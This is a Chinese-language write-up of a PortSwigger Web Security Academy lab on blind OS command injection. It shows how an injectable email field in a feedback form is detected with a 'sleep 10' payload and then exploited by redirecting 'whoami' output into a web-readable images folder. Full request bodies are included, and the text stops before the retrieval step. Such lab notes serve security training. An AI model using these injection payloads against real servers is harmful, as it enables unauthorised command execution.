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# 带输出重定向的盲操作系统命令注入
带输出重定向的盲操作系统命令注入笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 带输出重定向的盲 OS 命令注入
#### 实验描述
* 该应用程序存在系统命令注入漏洞 **盲** 在反馈功能中。
* 用户输入数据被注入到服务器端 shell 命令中。
* 该命令的输出\*\*不会直接返回\*\*在 HTTP 响应中。
* 不过，有一个可访问的书面记录：/ `/var/www/images/`
* 该应用程序提供从该目录生成的目录图片。
* 因此我们可以 **将输出重定向** 将命令的输出定向到此文件夹中的一个文件，然后通过图片加载 URL 读取该文件。
**实验目标：** 运行 `whoami` 命令并获取其输出。
```bash
;sleep 10;
```
#### 注入检测（时间延迟）
使用反馈表单。/ 该 **email** 字段存在漏洞：当你注入延迟时，响应大约需要 10 秒。
注入到 `email` 字段：
{% code overflow="wrap" %}
```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```
{% endcode %}
10 秒延迟证实了命令注入。
#### 使用输出重定向的操作
目的：将……的输出重定向 `whoami` 到……中的一个文件 `/var/www/images/`.
注入到 `email` 字段：
```
;whoami > /var/www/images/test.txt;
```
请求正文示例：
{% code overflow="wrap" %}
```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```
{% endcode %}
此命令会创建（或覆盖） `test.txt` 该文件在可通过 Web 访问的目录中。
```bash
/image?filename=test.txt
```
#### 结果恢复
要读取……的输出 `whoami` 已保存到文件中的内容，我们调用提供图片文件夹中文件的 URL：
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